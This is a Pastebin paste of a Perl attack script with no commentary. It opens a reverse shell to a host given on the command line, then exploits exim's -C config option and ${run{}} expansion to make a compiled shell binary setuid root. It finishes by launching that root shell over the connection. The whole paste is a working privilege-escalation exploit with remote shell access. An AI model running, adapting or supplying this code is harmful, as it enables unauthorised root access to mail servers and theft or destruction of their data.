Advertisement
Guest User

Untitled

a guest
Sep 24th, 2016
78
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 6 1.01 KB | None | 0 0
  1. $system = '/bin/sh';
  2. $ARGC=@ARGV;
  3. use Socket;
  4. use FileHandle;
  5. socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
  6. connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
  7. SOCKET->autoflush();
  8. open(STDIN, ">&SOCKET");
  9. open(STDOUT,">&SOCKET");
  10. open(STDERR,">&SOCKET");
  11.  
  12. open FILE, ">/var/spool/exim4/s.c";
  13. print FILE qq{
  14.     #include <stdio.h>
  15.     #include <unistd.h>
  16.     int main(int argc, char *argv[])
  17.     {
  18.         setuid(0);
  19.         setgid(0);
  20.         setgroups(0, NULL);
  21.         execl("/bin/sh", "sh", NULL);
  22.     }
  23. };
  24. close FILE;
  25.  
  26. system("gcc /var/spool/exim4/s.c -o /var/spool/exim4/s; rm /var/spool/exim4/s.c");
  27. open FILE, ">/tmp/e.conf";
  28. print FILE "spool_directory = \${run{/bin/chown root:root /var/spool/exim4/s}}\${run{/bin/chmod 4755 /var/spool/exim4/s}}";
  29. close FILE;
  30.  
  31. system("exim -C/tmp/e.conf -q; rm /tmp/e.conf");
  32. system("uname -a;");
  33. system("/var/spool/exim4/s");
  34. system($system);
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement